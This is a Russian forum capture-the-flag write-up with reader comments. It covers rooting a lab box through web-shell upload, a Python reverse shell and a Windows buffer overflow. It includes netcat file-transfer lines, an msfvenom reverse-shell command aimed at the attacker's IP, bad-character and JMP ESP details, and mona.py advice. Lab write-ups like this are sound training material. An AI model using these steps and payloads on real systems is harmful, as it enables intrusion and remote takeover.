![]() |
Приветствую!
В одном из прошлых врайтаповя описал прохождение коробки альтернативным способом, вместо использования ошибки переполнения буфера и сказал, что пошел развиваться в направление The buffer overflow... И вот, наконец, в данном прохождении, я представлю свои первые успехи в деле "о переполнении буфера". Ну, к делу... Исходные данные: Атакуемая машина под управлением Debian linux, на которой есть 2 флага. Основная машина (с которой проводится атака) под управлением ОС Kali Linux и ВМ с windows 7 Задача: получить 2 флага с целевой машины и права пользователя root. Выяснив ip адрес атакуемой машины, при помощи команды Код:
kali@kali:~/Lab$ sudo netdiscoverКод:
kali@kali:~/Lab$ nmap -A -p- -v 192.168.3.125Как видно -на целевой машине крутится 3 сервиса: 22 порт - ssh, 80 порт - http и 23 порт с телнетом. При попытке подключения к 23 порту, видно требование ввести код верификации, так что пока отложим его и пойдем копаться в вебе... https://forum.antichat.xyz/attachmen...0519996942.png Попытка перебора директорий сайта ничего, особо не дала, так что пойдем, посмотрим, на сам сайт: https://forum.antichat.xyz/attachmen...0520272723.png https://forum.antichat.xyz/attachmen...0520162957.png Нас сразу же редиректит на страницу авторизации и прежде, чем пытаться её сломать, попробуем перебрать поддиректории внутри student_attendance: https://forum.antichat.xyz/attachmen...0520613650.png Ага, вот еще две директории - assets и database. Покопавшись в assets не было найдено ничего интересного, а вот database, ожидаемо содержал дамп sql-кода, где нашлись 2 логина и хеши паролей: https://forum.antichat.xyz/attachmen...0520890465.png Оба хеша легко дешифруются - получаем: Цитата:
https://forum.antichat.xyz/attachmen...0521598939.png Однако перехватив респонс в бурпе, я нашел закомментированную строчку с сылкой и комментарием System Setting (Это можно было найти и при просмотре кода страницы, через DOM) https://forum.antichat.xyz/attachmen...0521735637.png Интересно, пошли смотреть... Видим форму, позволяющую загрузить изображение и сохранить. https://forum.antichat.xyz/attachmen...0522525611.png Я попробовал загрузить простенький php-шелл (shell.php): PHP: Код:
https://forum.antichat.xyz/attachmen...0523007995.png Отлично, куда обращаться теперь понятно, попробуем использовать шелл: https://forum.antichat.xyz/attachmen...0523122321.png Работает, как надо. Ну теперь все просто - получим нормальный шел, загрузив python шелл (rev.py): Python: Код:
importhttps://forum.antichat.xyz/attachmen...0523279669.png https://forum.antichat.xyz/attachmen...0523330343.png Ну и заберем заслуженный флаг пользователя (в /home и файле /etc/passwd нашлось 2 пользователя - fox и ppp. Флаг был найден у пользователя fox, а вот, у ppp вообще ничего полезного не нашлось) https://forum.antichat.xyz/attachmen...0523414552.png Сам флаг local.txt: e4ed03b4852906b6cb716fc6ce0f9fd5 Время получать root! Через просмотр процессов рута (ps -aux | grep root) был найден странный процесс /opt/access/access.exe https://forum.antichat.xyz/attachmen...0523919474.png Перейдя в /opt/access/ видно 2 файла access.exe и funcs_access.dll https://forum.antichat.xyz/attachmen...0523997089.png Скачав их на основную машину (а после перекинув на ВМ с виндой) начинаем изучать их: - Скачивание файлов, через netcat: * На основной машине: Код:
kali@kali:~/Lab/school$ sudo nc -lnvp 4444 > access.exeКод:
www-data@school:/opt/access$ nc -nv 192.168.3.111 4444 < access.exeЗапустив файл, я набросал простенький скрипт для попытки вызвать сбой приложения. Python: Код:
#!/usr/bin/pythonВыполнив скрипт - приложение, ожидаемо, вылетает и закрывается. Теперь запустим тот же файл в дебагере, я использовал, удобный для меня immunity debugger. Пришлось снова применить научный метод тыка, чтоб определить точные значения, при которых приложение крашится... Мы выяснили, что при отправке 5000 символов приложение падает. Отправим 1000 символов - приложение работает стабильно, отправим 2000 - упало и т.д. Таким образом и было найдено число 1883. Минутка научных фактов! В 1883 году, в Амстердамском зоопарке по неизвестным причинам умирает последняя квагга... Покойся с миром, бедная квагга ( https://forum.antichat.xyz/attachmen...0532878999.png Ну а если серьезно - теперь попытаемся перезаписать EIP. Для этого, изменим скрипт вот таким образом: Python: Код:
#!/usr/bin/pythonhttps://forum.antichat.xyz/attachmen...0533365645.png https://forum.antichat.xyz/attachmen...0533395592.png Как видим - все удалось, отладчик показывает значение EIP 42424242, что соответствует буквам "B". Теперь добавим список всех бэдчаров в скрипт. Теперь код выглядит следующим образом. Python: Код:
#!/usr/bin/pythonhttps://forum.antichat.xyz/attachmen...0558612843.png https://forum.antichat.xyz/attachmen...0558743183.png https://forum.antichat.xyz/attachmen...0558752747.png Теперь попался плохой символ "O" ('\x4f'). Повторяя данную операцию и удаляя все badchars по одному, были обнаружены следующие бэдчары “\x4d\x4f\x5f\x79\x7e\x7f”. Далее я выбрал один из адресов JMP ESP. Сначала посмотрим модули при помощи комбинации клавиш Alt+E. Я выбрал модуль, выделенный ниже. https://forum.antichat.xyz/attachmen...0559510685.png Теперь я нашел адрес JMP ESP (625012DD) https://forum.antichat.xyz/attachmen...0559186262.png преобразовал его в нужный формат и добавил к скрипту, чтоб он выглядел вот так: Python: Код:
#!/usr/bin/pythonКод:
kali@kali:~/Lab/school$ msfvenom -p windows/shell_reverse_tcp LHOST=192.168.3.111 LPORT=5555 -f c -b "\x00\x4d\x4f\x5f\x79\x7e\x7f" EXITFUNC=threadhttps://forum.antichat.xyz/attachmen...0539809341.png Вставляем наш шелл-код в эксплоит и он, наконец, принимает конечный вид: Python: Код:
#!/usr/bin/pythonhttps://forum.antichat.xyz/attachmen...0540078523.png Ура! МЫ ЕСТЬ РУТ!!! Радостные бежим забирать флаг рута. https://forum.antichat.xyz/attachmen...0540171275.png Сам флаг (proof.txt): ccc34dede451108a8fe6f75d6ea7d2ae В заключение скажу, что машина оказалось довольно простой по общим меркам, но у меня, получение рут прав, вызвало кое-какие сложности, которые мне, таки удалось перебороть. Это был мой первый раз, в полноценном переполнении буфера, с целью получения доступа. Так что будьте со мной помягче Как обычно, спасибо всем, кто дочитал этот врайтап до конца и если кто-то нашел другой способ прохождения данный коробки, пожалуйста поделитесь в комментариях, или в личку. |
Сомневаюсь что ты сам писал эту статью, так как не видно откуда ты взял точное число для оффсета EIP , а так же не видно как ты ищешь бад чары.
|
Цитата:
С бад чарами, я если честно намучался, но в основном из-за интерфейса. И пока проводил манипуляции (верите, или нет) просто не сделал скринов, а повторять во второй раз эту мракобесию не очень хочется. Верить, или нет, дело конечно ваше, но на кой, простите, мне надо выкладывать не свои статьи, если я даже не получаю с них ничего? |
Но окей, момент принят к сведению. В следующие разы постараюсь расписывать все более подробно.
|
В статье сказано, что ты используешь Mona.py для поиска JMP ESP. Значит то что ты написал выше это ложь по поводу оффсетов EIP и бадчаров. Короче говоря я свое мнение высказал. Не желаю дальше продолжать данный диалог. Удачи вам))
p.s. Когда человек впервые знакомится с переполнением он максимально расписывает все детально. Цель этой тачки не сканирование. Логично было увидеть несколько скриншотов где ты используешь Mona.py для поиска оффсетов и бадчаеров, а так же JMP ESP. Этого в статье нет. В статье сказано, что ты получил адрес JMP ESP используя mona.py, но адрес подобрал вручную, это смешно. Цитата:
|
@INPC вот посмотри https://codeby.net/threads/vuplayer-2-49-wax-vanilla-eip-overflow.79175/ это одна из моих старых статей. Специально для тебя залил. И потом сравни со своей ))
|
Или вот тут про бад чары https://codeby.net/threads/easy-file-sharing-web-server-7-2-seh-overflow.79176/
|
Я еще чуток углубился и наконец понял суть вопроса. Смотри, то, что ты делаешь в моно, выясняя смещение до EIP (из твоей статьи), я как раз и сделал методом тыка, подставляя значения (сначала отправил 5000 символов - приложение упало, отправил 1000 - живет, отправил 2000 - упало и т.д.), затем отправил другой символ в конце ("В"), чтоб проверить. Да, это не научно и магии в этом нет, но сработало. Так и получил значение смещения до EIP.
Затем уже пошел смотреть бэдчары. Вот скрины, которые надо было ставить (про то, как я искал адрес) https://forum.antichat.xyz/attachmen...0556212854.png https://forum.antichat.xyz/attachmen...0556217869.png Теперь бэдчары Выполняем скрипт Python: Код:
#!/usr/bin/pythonhttps://forum.antichat.xyz/attachmen...0556945018.png Что соответствует "\x4d", убираем его и выполняем сплоит снова: https://forum.antichat.xyz/attachmen...0557031323.png https://forum.antichat.xyz/attachmen...0557049322.png Видим следующий плохой символ и т.д., и т.д. в конце получаем все бэдчары "\x00\x4d\x4f\x5f\x79\x7e\x7f" |
@fuzzz ты ведь хотел, чтоб я это приложил? Или еще что-то?
Спасибо кстати за статьи, помогают пониманию, буду использовать, при дальнейшем изучении тематики. |
Лол , ну вот зачем опять? У тебя опять косяк.
Цитата:
А что ты будешь делать когда тебе надо будет 50000 тыщ байтов отправить? тоже в ручную делать? Это не те скрины. Ты залил шляпу. ей-богу. Ты должен был сделать так. !mona pc 5000 Затем скопировать сроку ASCII Присвоить ей переменной payload = ".........................." Затем запустить сплойт Посмотреть на EIP скопироть от туда адрес Затем подставить его в команду !mona po адрес |
| Время: 10:41 |